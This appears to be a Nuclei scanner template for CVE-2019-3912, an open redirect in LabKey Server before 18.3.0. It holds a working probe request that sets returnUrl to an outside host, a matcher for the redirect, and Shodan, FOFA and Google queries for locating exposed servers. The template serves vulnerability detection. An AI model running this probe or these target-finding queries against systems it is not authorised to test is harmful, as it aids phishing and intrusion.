LabKey Server Community Edition before 18.3.0-61806.763 contains an open redirect vulnerability via the /__r1/ returnURL parameter, which allows an attacker to redirect a user to a malicious site and possibly obtain sensitive information, modify data, and/or execute unauthorized operations.
PoC代码[已公开]
id: CVE-2019-3912
info:
name: LabKey Server Community Edition <18.3.0 - Open Redirect
author: 0x_Akoko
severity: medium
description: LabKey Server Community Edition before 18.3.0-61806.763 contains an open redirect vulnerability via the /__r1/ returnURL parameter, which allows an attacker to redirect a user to a malicious site and possibly obtain sensitive information, modify data, and/or execute unauthorized operations.
impact: |
An attacker can exploit this vulnerability to redirect users to malicious websites, leading to phishing attacks or the theft of sensitive information.
remediation: |
Upgrade LabKey Server Community Edition to version 18.3.0 or later to mitigate the vulnerability.
reference:
- https://www.tenable.com/security/research/tra-2019-03
- https://nvd.nist.gov/vuln/detail/CVE-2019-3912
- https://github.com/ARPSyndicate/kenzer-templates
- https://github.com/StarCrossPortal/scalpel
- https://github.com/anonymous364872/Rapier_Tool
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2019-3912
cwe-id: CWE-601
epss-score: 0.14696
epss-percentile: 0.94262
cpe: cpe:2.3:a:labkey:labkey_server:*:*:*:*:community:*:*:*
metadata:
max-request: 1
vendor: labkey
product: labkey_server
shodan-query:
- 'Server: Labkey'
- 'http.title:"sign in: /home"'
- "server: labkey"
fofa-query: 'title="sign in: /home"'
google-query: 'intitle:"sign in: /home"'
tags: cve2019,cve,tenable,redirect,labkey
http:
- method: GET
path:
- '{{BaseURL}}/labkey/__r1/login-login.view?returnUrl=http://interact.sh'
matchers:
- type: regex
part: header
regex:
- '(?m)^(?:Location\s*?:\s*?)(?:https?:\/\/|\/\/|\/\\\\|\/\\)(?:[a-zA-Z0-9\-_\.@]*)interact\.sh\/?(\/|[^.].*)?$' # https://regex101.com/r/L403F0/1
# digest: 4b0a00483046022100c1dce1912b5257fe66424c2865915beef5d0174c9102ee72d9e401c1d8c1d4830221008569a9355b30aa960c6e8523f504b7316ff861a462cee657f4ff2541d440fce3:922c64590222798bb761d5b6d8e72950